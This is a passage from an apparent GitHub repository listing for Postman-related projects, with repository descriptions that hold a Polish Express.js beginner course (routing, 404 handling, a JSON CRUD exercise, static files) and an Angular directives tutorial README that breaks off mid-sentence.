zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
minhhai2209/postman-sample
access, environment, fork, github, http, https, modification, newman, properties, sample 		Sample on how to use the fork at https://github.com/minhhai2209/newman#accessible-environment to set Postman properties from Newman. See the modification at https://github.com/minhhai2209/postman-runtime/commit/764c6b9a170e71b055dce077fba12960e6b87d93. 0 stars 0 watchers 0 forks
N0NU/nodejs-ts-api
collection, collections, http, https, link, node, nodejs, postman collection 		postman collection link: https://www.getpostman.com/collections/415fe570cfb81c6393e8 0 stars 0 watchers 0 forks
NavarroKofs/crud
crud, document, http, https, test, version 		Postman: https://documenter.getpostman.com/view/6792704/SVmzuGZi?version=latest 0 stars 0 watchers 0 forks
neomarmedina/prueba_meta
api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables 		Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env 0 stars 0 watchers 0 forks
nexdevch/SimplePostman
form, http, https 		Simple Postman which performs http/https in c# 0 stars 0 watchers 0 forks
NeytChi/mini-message
chat, document, http, https, message, mini, server, test, version 		Little server for little chat app. Postman: https://documenter.getpostman.com/view/5257392/S1a1aUAN?version=latest#f26b02f5-ca14-4139-a88e-b37d1e8c28cc 0 stars 0 watchers 0 forks
nicolashenschel/postmanAPITesting
http, https, newman, package 		Playing with Postman (https://www.getpostman.com/) and newman (https://www.npmjs.com/package/newman) 0 stars 0 watchers 0 forks
olenalo/Module04
collection, collections, http, https 		Chess Game. Postman collection: https://www.getpostman.com/collections/a58c3174b389831b34a3 0 stars 0 watchers 0 forks
olvfg/gerenciador-viagens
assert, assurance, http, https, java, quality, test, util, utilizando 		https://medium.com/assertqualityassurance/como-construir-e-testar-uma-api-em-java-utilizando-o-postman-baae69d8b8aa 0 stars 0 watchers 0 forks
ovnicraft/django-postman
bitbucket, bucket, django, fork, http, https 		My own fork from https://bitbucket.org/psam/django-postman/overview 0 stars 0 watchers 0 forks
pnowosie/elixir-omg-postman
collection, collections, github, http, https, play, spec, specs 		Postman collections with [elixir-omg API](https://github.com/omisego/elixir-omg/) specs to easy getting play with 0 stars 0 watchers 0 forks
rajasekhar15/https-github.com-commercetools-commercetools-postman-api-examples
commerce, commercetools, example, examples, github, http, https, tool, tools 		CommerceTools 0 stars 0 watchers 0 forks
Raremaa/postmanToApiHtml
blog, blogs, html, http, https, java, logs 		一个基于postman的java小工具，用于将postman导出的v1文档转换为html文档（本人仅负责整合,原创者地址:https://www.cnblogs.com/XiOrang/p/5652875.html,https://www.cnblogs.com/xsnd/p/8708817.html） 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks
romanshutsman/server-upload-download
client, download, http, https, server, test, upload 		You can test it in POSTMAN or download client for this app https://git.io/vhaiL ! 0 stars 0 watchers 0 forks
sandeep89/stromtrooper
collection, collections, depict, http, https, mock, postman collection, postman collections, server, twitter, wiki, wikipedia 		A mock server to depict usage of postman collections for mocking twitter api responses. (Name=>https://en.wikipedia.org/wiki/Stormtrooper_(Star_Wars)) 0 stars 0 watchers 0 forks
senturio/django-postman
bitbucket, bucket, clone, django, http, https 		Git clone of Mercurial repo at https://bitbucket.org/psam/django-postman 0 stars 0 watchers 0 forks
TahsinAnwarAkif/RESTful-In-Peace-Server
front end, github, http, https, server 		A Hospital Management CRUD Project Developed with Spring Boot, MySQL, Maven, Postman & AngularJS (for front end in the same server). Client Code with Angular can be found in: https://github.com/TahsinAnwarAkif/RESTful-In-Peace-Client 0 stars 0 watchers 0 forks
testProjekten/medium-Tdd-Js-Swggr-Dckr
agile, development, docker, drive, driven, github, http, https, jenkins, newman, swagger, test 		Implementing this post Project https://medium.com/nycdev/agile-and-test-driven-development-tdd-with-swagger-docker-github-postman-newman-and-jenkins-347bd11d5069 0 stars 0 watchers 0 forks
WPPlugins/postman-gmail-extension
extension, http, https, mail, mirror, plugin, release, test, wordpress 		This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-gmail-extension/, the master is always the latest release. 0 stars 0 watchers 0 forks
WPPlugins/postman-smtp
http, https, mirror, plugin, release, smtp, test, wordpress 		This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-smtp/, the master is always the latest release. 0 stars 0 watchers 0 forks
WPPlugins/postman-widget
http, https, mirror, plugin, release, test, wordpress 		This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-widget/, the master is always the latest release. 0 stars 0 watchers 0 forks

learn (74 listings) (Back to Top)

TableauExamples/Tableau_Postman
collection, learn, learning, test, testing 		A Postman collection for testing and learning Tableau Server's REST API. 0 stars 0 watchers 29 forks
iyzico/iyzipay-postman
endpoint, endpoints, iyzipay, learn, learning 		Easiest way of learning the endpoints of iyzipay API 10 stars 10 watchers 8 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log 